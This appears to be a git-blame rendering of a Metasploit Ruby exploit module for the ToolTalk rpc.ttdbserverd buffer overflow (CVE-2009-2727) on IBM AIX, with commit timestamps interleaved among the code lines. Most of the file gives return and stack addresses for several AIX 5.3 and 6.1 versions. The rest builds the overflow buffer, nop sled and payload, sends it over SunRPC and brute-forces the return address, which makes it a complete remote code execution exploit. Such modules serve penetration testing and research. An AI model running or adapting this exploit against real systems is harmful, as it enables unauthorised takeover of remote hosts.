2009-06-23 03:49:25 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-02-09 04:15:47 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-06-23 03:49:25 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-06-23 03:49:25 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2009-06-23 03:49:25 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::SunRPC
|
|
|
|
include Msf::Exploit::Brute
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2010-10-05 23:41:17 +00:00
|
|
|
'Name' => 'ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)',
|
2009-06-23 03:49:25 +00:00
|
|
|
'Description' => %q{
|
2010-10-05 23:41:17 +00:00
|
|
|
This module exploits a buffer overflow vulnerability in _tt_internal_realpath
|
|
|
|
function of the ToolTalk database server (rpc.ttdbserverd).
|
2009-06-23 03:49:25 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2011-11-06 22:02:26 +00:00
|
|
|
'Adriano Lima <adriano[at]risesecurity.org>',
|
2009-09-27 21:30:45 +00:00
|
|
|
'ramon'
|
2009-06-23 03:49:25 +00:00
|
|
|
],
|
|
|
|
'Version' => '$Revision$',
|
2010-10-05 23:41:17 +00:00
|
|
|
'Platform' => [ 'aix' ],
|
2009-10-12 14:42:51 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2009-2727'],
|
|
|
|
[ 'OSVDB', '55151' ]
|
|
|
|
],
|
2009-06-23 03:49:25 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
},
|
2010-02-09 04:15:47 +00:00
|
|
|
'Targets' =>
|
2009-06-23 03:49:25 +00:00
|
|
|
[
|
2010-02-09 04:15:47 +00:00
|
|
|
[
|
2009-06-23 03:49:25 +00:00
|
|
|
'IBM AIX Version 6.1.4',
|
|
|
|
{
|
|
|
|
'Arch' => 'ppc',
|
|
|
|
'Platform' => 'aix',
|
|
|
|
'Ret' => 0x20099430+4096,
|
|
|
|
'Addr1' => 0x2ff1ff50-8192,
|
|
|
|
'AIX' => '6.1.4',
|
|
|
|
'Bruteforce' =>
|
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0x20099430-8192 },
|
|
|
|
'Stop' => { 'Ret' => 0x20099430+8192 },
|
|
|
|
'Step' => 1024
|
|
|
|
}
|
|
|
|
}
|
|
|
|
],
|
2010-02-09 04:15:47 +00:00
|
|
|
[
|
2009-06-23 03:49:25 +00:00
|
|
|
'IBM AIX Version 6.1.3',
|
|
|
|
{
|
|
|
|
'Arch' => 'ppc',
|
|
|
|
'Platform' => 'aix',
|
|
|
|
'Ret' => 0x20099280+4096,
|
|
|
|
'Addr1' => 0x2ff1ffd0-8192,
|
|
|
|
'AIX' => '6.1.3',
|
|
|
|
'Bruteforce' =>
|
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0x20099280-8192 },
|
|
|
|
'Stop' => { 'Ret' => 0x20099280+8192 },
|
|
|
|
'Step' => 1024
|
|
|
|
}
|
|
|
|
}
|
|
|
|
],
|
2010-02-09 04:15:47 +00:00
|
|
|
[
|
2009-06-23 03:49:25 +00:00
|
|
|
'IBM AIX Version 6.1.2',
|
|
|
|
{
|
|
|
|
'Arch' => 'ppc',
|
|
|
|
'Platform' => 'aix',
|
|
|
|
'Ret' => 0x20099280+4096,
|
|
|
|
'Addr1' => 0x2ff1ffd0-8192,
|
|
|
|
'AIX' => '6.1.2',
|
|
|
|
'Bruteforce' =>
|
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0x20099280-8192 },
|
|
|
|
'Stop' => { 'Ret' => 0x20099280+8192 },
|
|
|
|
'Step' => 1024
|
|
|
|
}
|
|
|
|
}
|
|
|
|
],
|
2010-02-09 04:15:47 +00:00
|
|
|
[
|
2009-06-23 03:49:25 +00:00
|
|
|
'IBM AIX Version 6.1.1',
|
|
|
|
{
|
|
|
|
'Arch' => 'ppc',
|
|
|
|
'Platform' => 'aix',
|
|
|
|
'Ret' => 0x20099280+4096,
|
|
|
|
'Addr1' => 0x2ff1ffd0-8192,
|
|
|
|
'AIX' => '6.1.1',
|
|
|
|
'Bruteforce' =>
|
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0x20099280-8192 },
|
|
|
|
'Stop' => { 'Ret' => 0x20099280+8192 },
|
|
|
|
'Step' => 1024
|
|
|
|
}
|
|
|
|
}
|
|
|
|
],
|
2010-02-09 04:15:47 +00:00
|
|
|
[
|
2009-06-23 03:49:25 +00:00
|
|
|
'IBM AIX Version 6.1.0',
|
|
|
|
{
|
|
|
|
'Arch' => 'ppc',
|
|
|
|
'Platform' => 'aix',
|
|
|
|
'Ret' => 0x20099280+4096,
|
|
|
|
'Addr1' => 0x2ff1ffd0-8192,
|
|
|
|
'AIX' => '6.1.0',
|
|
|
|
'Bruteforce' =>
|
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0x20099280-8192 },
|
|
|
|
'Stop' => { 'Ret' => 0x20099280+8192 },
|
|
|
|
'Step' => 1024
|
|
|
|
}
|
|
|
|
}
|
|
|
|
],
|
2010-02-09 04:15:47 +00:00
|
|
|
[
|
2009-06-23 03:49:25 +00:00
|
|
|
'IBM AIX Version 5.3.10 5.3.9 5.3.8 5.3.7',
|
|
|
|
{
|
|
|
|
'Arch' => 'ppc',
|
|
|
|
'Platform' => 'aix',
|
|
|
|
'Ret' => 0x20096ba0+4096,
|
|
|
|
'Addr1' => 0x2ff1ff14-8192,
|
|
|
|
'AIX' => '5.3.9',
|
|
|
|
'Bruteforce' =>
|
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0x20096ba0-8192 },
|
|
|
|
'Stop' => { 'Ret' => 0x20096ba0+8192 },
|
|
|
|
'Step' => 1024
|
|
|
|
}
|
|
|
|
}
|
|
|
|
],
|
2010-02-09 04:15:47 +00:00
|
|
|
[
|
2009-06-23 03:49:25 +00:00
|
|
|
'IBM AIX Version 5.3.10',
|
|
|
|
{
|
|
|
|
'Arch' => 'ppc',
|
|
|
|
'Platform' => 'aix',
|
|
|
|
'Ret' => 0x20096bf0+4096,
|
|
|
|
'Addr1' => 0x2ff1ff14-8192,
|
|
|
|
'AIX' => '5.3.10',
|
|
|
|
'Bruteforce' =>
|
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0x20096bf0-8192 },
|
|
|
|
'Stop' => { 'Ret' => 0x20096bf0+8192 },
|
|
|
|
'Step' => 1024
|
|
|
|
}
|
|
|
|
}
|
|
|
|
],
|
2010-02-09 04:15:47 +00:00
|
|
|
[
|
2009-06-23 03:49:25 +00:00
|
|
|
'IBM AIX Version 5.3.9',
|
|
|
|
{
|
|
|
|
'Arch' => 'ppc',
|
|
|
|
'Platform' => 'aix',
|
|
|
|
'Ret' => 0x20096ba0+4096,
|
|
|
|
'Addr1' => 0x2ff1ff14-8192,
|
|
|
|
'AIX' => '5.3.9',
|
|
|
|
'Bruteforce' =>
|
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0x20096ba0-8192 },
|
|
|
|
'Stop' => { 'Ret' => 0x20096ba0+8192 },
|
|
|
|
'Step' => 1024
|
|
|
|
}
|
|
|
|
}
|
|
|
|
],
|
2010-02-09 04:15:47 +00:00
|
|
|
[
|
2009-06-23 03:49:25 +00:00
|
|
|
'IBM AIX Version 5.3.8',
|
|
|
|
{
|
|
|
|
'Arch' => 'ppc',
|
|
|
|
'Platform' => 'aix',
|
|
|
|
'Ret' => 0x20096c10+4096,
|
|
|
|
'Addr1' => 0x2ff1ff98-8192,
|
|
|
|
'AIX' => '5.3.8',
|
|
|
|
'Bruteforce' =>
|
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0x20096c10-8192 },
|
|
|
|
'Stop' => { 'Ret' => 0x20096c10+8192 },
|
|
|
|
'Step' => 1024
|
|
|
|
}
|
|
|
|
}
|
|
|
|
],
|
2010-02-09 04:15:47 +00:00
|
|
|
[
|
2009-06-23 03:49:25 +00:00
|
|
|
'IBM AIX Version 5.3.7',
|
|
|
|
{
|
|
|
|
'Arch' => 'ppc',
|
|
|
|
'Platform' => 'aix',
|
|
|
|
'Ret' => 0x20096c10+4096,
|
|
|
|
'Addr1' => 0x2ff1ff98-8192,
|
|
|
|
'AIX' => '5.3.7',
|
|
|
|
'Bruteforce' =>
|
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0x20096c10-8192 },
|
|
|
|
'Stop' => { 'Ret' => 0x20096c10+8192 },
|
|
|
|
'Step' => 1024
|
|
|
|
}
|
|
|
|
}
|
|
|
|
],
|
2010-02-09 04:15:47 +00:00
|
|
|
[
|
2009-06-23 03:49:25 +00:00
|
|
|
'Debug IBM AIX Version 6.1',
|
|
|
|
{
|
|
|
|
'Arch' => 'ppc',
|
|
|
|
'Platform' => 'aix',
|
|
|
|
'Ret' => 0xaabbccdd,
|
|
|
|
'Addr1' => 0xddccbbaa,
|
|
|
|
'AIX' => '6.1.4',
|
|
|
|
'Bruteforce' =>
|
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0xaabbccdd },
|
|
|
|
'Stop' => { 'Ret' => 0xaabbccdd },
|
|
|
|
'Step' => 1024
|
|
|
|
}
|
|
|
|
}
|
|
|
|
],
|
2010-02-09 04:15:47 +00:00
|
|
|
[
|
2009-06-23 03:49:25 +00:00
|
|
|
'Debug IBM AIX Version 5.3',
|
|
|
|
{
|
|
|
|
'Arch' => 'ppc',
|
|
|
|
'Platform' => 'aix',
|
|
|
|
'Ret' => 0xaabbccdd,
|
|
|
|
'Addr1' => 0xddccbbaa,
|
|
|
|
'AIX' => '5.3.10',
|
|
|
|
'Bruteforce' =>
|
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0xaabbccdd },
|
|
|
|
'Stop' => { 'Ret' => 0xaabbccdd },
|
|
|
|
'Step' => 1024
|
|
|
|
}
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
2010-07-03 03:13:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Jun 17 2009'))
|
2009-06-23 03:49:25 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def brute_exploit(brute_target)
|
2010-02-09 04:15:47 +00:00
|
|
|
|
|
|
|
if not @aixpayload
|
|
|
|
datastore['AIX'] = target['AIX']
|
|
|
|
@aixpayload = regenerate_payload.encoded
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Trying to exploit rpc.ttdbserverd with address 0x%08x..." % brute_target['Ret'])
|
|
|
|
|
2009-06-23 03:49:25 +00:00
|
|
|
begin
|
|
|
|
|
|
|
|
sunrpc_create('tcp', 100083, 1)
|
|
|
|
|
|
|
|
if target['AIX'] =~ /6\./
|
|
|
|
buf = "A"
|
|
|
|
else
|
|
|
|
buf = "AA"
|
|
|
|
end
|
|
|
|
|
|
|
|
buf << [target['Addr1']].pack('N') * (1022 + 8)
|
|
|
|
buf << [brute_target['Ret']].pack('N') * 32
|
|
|
|
|
|
|
|
if target['AIX'] =~ /6\./
|
|
|
|
buf << "AAA"
|
|
|
|
else
|
|
|
|
buf << "AA"
|
|
|
|
end
|
|
|
|
|
|
|
|
buf << "\x7f\xff\xfb\x78" * 1920
|
2010-05-24 02:06:14 +00:00
|
|
|
buf << @aixpayload
|
2009-06-23 03:49:25 +00:00
|
|
|
buf = XDR.encode(buf, 2, 0x78000000, 2, 0x78000000)
|
|
|
|
|
|
|
|
print_status('Sending procedure 15 call message...')
|
|
|
|
sunrpc_call(15, buf)
|
|
|
|
|
|
|
|
sunrpc_destroy
|
|
|
|
handler
|
|
|
|
|
|
|
|
rescue Rex::Proto::SunRPC::RPCTimeout
|
|
|
|
# print_error('RPCTimeout')
|
|
|
|
rescue EOFError
|
|
|
|
# print_error('EOFError')
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|